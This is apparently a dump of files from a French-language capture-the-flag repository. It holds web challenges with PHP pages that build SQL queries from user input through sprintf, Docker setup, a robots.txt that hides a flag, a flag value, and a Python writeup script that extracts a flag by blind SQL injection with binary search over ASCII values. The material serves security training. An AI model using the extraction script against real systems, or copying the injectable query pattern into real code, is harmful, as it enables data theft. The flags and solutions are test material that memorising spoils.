/challenges/web/sqli/sqli_web/src/includes/chal3.php: -------------------------------------------------------------------------------- 1 | connect_errno) { 11 | echo "Errno: " . $mysqli->connect_errno . "\n"; 12 | echo "Error: " . $mysqli->connect_error . "\n"; 13 | die(); 14 | } 15 | $ERROR = False; 16 | $QUERY_STRING = sprintf($SQL_QUERY, $flag_id); 17 | $query = $mysqli->query($QUERY_STRING); 18 | if (strlen($mysqli->error) > 0) { 19 | $ERROR = True; 20 | } 21 | if($query) { 22 | $RESULTS = $query->num_rows > 0; 23 | $query->close(); 24 | } 25 | $mysqli->close(); 26 | } else { 27 | $ERROR = "Veuillez entrer un id à chercher."; 28 | } 29 | } 30 | ?> 31 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/src/includes/chal4.php: -------------------------------------------------------------------------------- 1 | connect_errno) { 11 | echo "Errno: " . $mysqli->connect_errno . "\n"; 12 | echo "Error: " . $mysqli->connect_error . "\n"; 13 | die(); 14 | } 15 | $ERROR = False; 16 | $QUERY_STRING = sprintf($SQL_QUERY, $flag_id); 17 | $query = $mysqli->query($QUERY_STRING); 18 | if($query) { 19 | $query->close(); 20 | } 21 | $mysqli->close(); 22 | } 23 | } 24 | ?> 25 | -------------------------------------------------------------------------------- /challenges/web/sqli/sqli_web/src/includes/mysql_connection.php: -------------------------------------------------------------------------------- 1 | connect_errno) { 12 | echo "Errno: " . $mysqli->connect_errno . "\n"; 13 | echo "Error: " . $mysqli->connect_error . "\n"; 14 | die(); 15 | } 16 | return $mysqli; 17 | } 18 | ?> 19 | -------------------------------------------------------------------------------- /challenges/web/sqli/writeup3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- encoding: utf-8 -*- 3 | import requests 4 | 5 | URL = "http://challenges.unitedctf.ca:18000/challenge3.php" 6 | HEADERS = {} 7 | 8 | query = "' OR ASCII(SUBSTRING(flag, {}, 1)) > {} -- " # Placeholders are for Position and ascii value respectively 9 | validate = "' OR flag='{}" 10 | 11 | def find_next_letter(index): 12 | resp = requests.Response() 13 | low = 0 14 | high = 0x7f # Maximum value in ASCII range 15 | 16 | # Use binary search over the ASCII range. Faster than enumerating each character 17 | while high > low: 18 | char = (low + high) // 2 19 | try: 20 | resp = requests.post(URL, data={"flagID": query.format(index, char)}, headers=HEADERS) 21 | except ConnectionError as e: 22 | print(e) 23 | if "au moins un résultat" in resp.text: 24 | low = char + 1 25 | else: 26 | high = char 27 | return chr(low) 28 | 29 | def find_password(): 30 | currentPass = "" 31 | while "au moins un résultat" not in requests.post(URL, data={"flagID": validate.format(currentPass)}, headers=HEADERS).text: 32 | currentPass += find_next_letter(len(currentPass) + 1) #SUBSTRING is 1-indexed 33 | print(currentPass) 34 | return currentPass 35 | 36 | print("Flag: " + find_password()) 37 | -------------------------------------------------------------------------------- /challenges/web/vous-pensez-passer-vos-intras/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ARG DEBIAN_FRONTEND=noninteractive 4 | 5 | RUN apt-get update 6 | RUN apt-get -y install maven mysql-server 7 | 8 | COPY ./ /tmp/src 9 | WORKDIR /tmp/src 10 | RUN mvn clean install 11 | EXPOSE 8080 12 | 13 | ENTRYPOINT ["bash", "run.sh"] 14 | -------------------------------------------------------------------------------- /challenges/web/vous-pensez-passer-vos-intras/Dockerfile.bak.bak: -------------------------------------------------------------------------------- 1 | #FROM tomcat:9.0.31-jdk11-openjdk 2 | #From tomcat:8.0.51-jre8-alpine 3 | #ADD ./target/example01-1.0-SNAPSHOT.war /usr/local/tomcat/webapps/ctf.war 4 | #EXPOSE 8080 5 | #CMD ["catalina.sh","run"] 6 | 7 | #FROM openjdk:8-jdk-alpine 8 | #ARG JAR_FILE=target/gs-spring-boot-docker-0.1.0.jar 9 | #COPY ${JAR_FILE} app.jar 10 | #ENTRYPOINT ["java","-jar","/app.jar"] 11 | -------------------------------------------------------------------------------- /challenges/web/vous-pensez-passer-vos-intras/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | sudo docker build -t ctf . 3 | sudo docker run -p 8080:8080 ctf 4 | 5 | -------------------------------------------------------------------------------- /challenges/web/vous-pensez-passer-vos-intras/README.md: -------------------------------------------------------------------------------- 1 | # Vous pensez passer vos intras? 2 | 3 | > web 4 | 5 | Author: Notre partenaire [Desjardins](/partenaires/desjardins). 6 | 7 | Aucun bruteforce requis, aucun outil automatisé n'est nécessaire. 8 | 9 | [https://challenges.unitedctf.ca:12003](https://challenges.unitedctf.ca:12003) 10 | 11 | - with love by _nic-lovin_, **ettic**, [Desjardins](/partenaires/desjardins) 12 | 13 | 14 | 15 | ## Setup 16 | 17 | Requirements: 18 | - docker 19 | 20 | Start: 21 | 22 | ```shell 23 | docker-compose up 24 | ``` 25 | 26 | -------------------------------------------------------------------------------- /challenges/web/vous-pensez-passer-vos-intras/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | service mysql start 4 | mysql < create_db.sql 5 | rm create_db.sql 6 | mvn clean spring-boot:run 7 | -------------------------------------------------------------------------------- /challenges/web/vous-pensez-passer-vos-intras/src/main/webapp/WEB-INF/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | yolo 5 | 6 | 7 | -------------------------------------------------------------------------------- /challenges/web/web-101/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4.7-apache 2 | -------------------------------------------------------------------------------- /challenges/web/web-101/README.md: -------------------------------------------------------------------------------- 1 | # web-101 2 | 3 | > web 4 | 5 | Author: [Simon Thiboutôt (lilc4t)](https://github.com/masterT) 6 | 7 | La base des défis de sécurité web. 8 | 9 | http://127.0.0.1:12000/ 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - docker 15 | 16 | Start: 17 | 18 | ```shell 19 | docker-compose up 20 | ``` 21 | 22 | -------------------------------------------------------------------------------- /challenges/web/web-101/src/robots.txt: -------------------------------------------------------------------------------- 1 | # http://www.robotstxt.org/ 2 | # This is to prevent bad web robots to scan my blog. 3 | 4 | User-agent: * 5 | 6 | Allow: index.php 7 | 8 | # I don't want my flags to be indexed in search engines. 9 | Disallow: /this-is-the-secret-flag-3.txt 10 | 11 | # Hide the admin page. 12 | Disallow: /secret-stuff-only-for-admin-stuff/index.php 13 | -------------------------------------------------------------------------------- /challenges/web/web-101/src/secret-stuff-only-for-admin-stuff/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | My Awesome Blog | Admin section 7 | 8 | 9 |

My Awesome Blog | Admin section

10 |

This is in beta.

11 |

This is to help admin debug the code source of a page.

12 |
13 |

Admin Pages:

14 | 23 |
24 | 25 | 26 | 27 | 36 | 37 |
38 |
© My Awesome Blog
39 | 40 | 41 | -------------------------------------------------------------------------------- /challenges/web/web-101/src/secret-stuff-only-for-admin-stuff/test.php: -------------------------------------------------------------------------------- 1 | 5 | -------------------------------------------------------------------------------- /challenges/web/web-101/src/this-is-the-secret-flag-3.txt: -------------------------------------------------------------------------------- 1 | FLAG-83ce6616e29164fed1a140dcef7c263a 2 | -------------------------------------------------------------------------------- /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/logo.png -------------------------------------------------------------------------------- /ping.sh: -------------------------------------------------------------------------------- 1 | nmap challenges.unitedctf.ca -p $(cat challenges/docker-compose.yml | grep -P '[0-9]+:[0-9]+' | sed 's/[- "]//g' | cut -d ':' -f 1 | tr '\n' ',') 2 | --------------------------------------------------------------------------------